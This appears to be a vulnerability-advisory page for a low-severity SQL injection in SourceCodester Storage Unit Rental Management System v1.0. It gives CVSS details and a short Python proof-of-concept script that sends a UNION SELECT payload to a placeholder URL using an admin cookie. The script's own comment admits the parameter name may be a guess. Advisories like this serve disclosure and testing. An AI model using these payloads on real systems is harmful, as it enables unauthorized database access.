SourceCodester Storage Unit Rental Management System v1.0 is vulnerable to SQL Injection in the file /storage/admin/rents/manage_rent.php.
CVSS Details
CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
SourceCodester Storage Unit Rental Management System 1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-37590
# Target: SourceCodester Storage Unit Rental Management System v1.0
# File: /storage/admin/rents/manage_rent.php
# Description: SQL Injection vulnerability requiring high privileges.
import requests
def check_sqli(target_url, cookie):
"""
Checks if the target is vulnerable to SQL Injection.
Note: Replace 'id' with the actual parameter name if different.
"""
# Payload to test for time-based or error-based injection
# Example: ' OR SLEEP(5)-- -
payload = "?id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Cookie": cookie
}
try:
response = requests.get(target_url + payload, headers=headers, timeout=10)
# Analyze response
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Check the response content for database errors or leaked data (e.g., '2', '3' appearing in text).")
print(response.text[:500]) # Print first 500 chars for analysis
else:
print(f"[-] Unexpected status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Usage requires the target URL and a valid admin session cookie
target = "http://target.com/storage/admin/rents/manage_rent.php"
admin_cookie = "PHPSESSID=admin_session_id_here; user=admin"
print("[*] Starting PoC check for CVE-2026-37590...")
check_sqli(target, admin_cookie)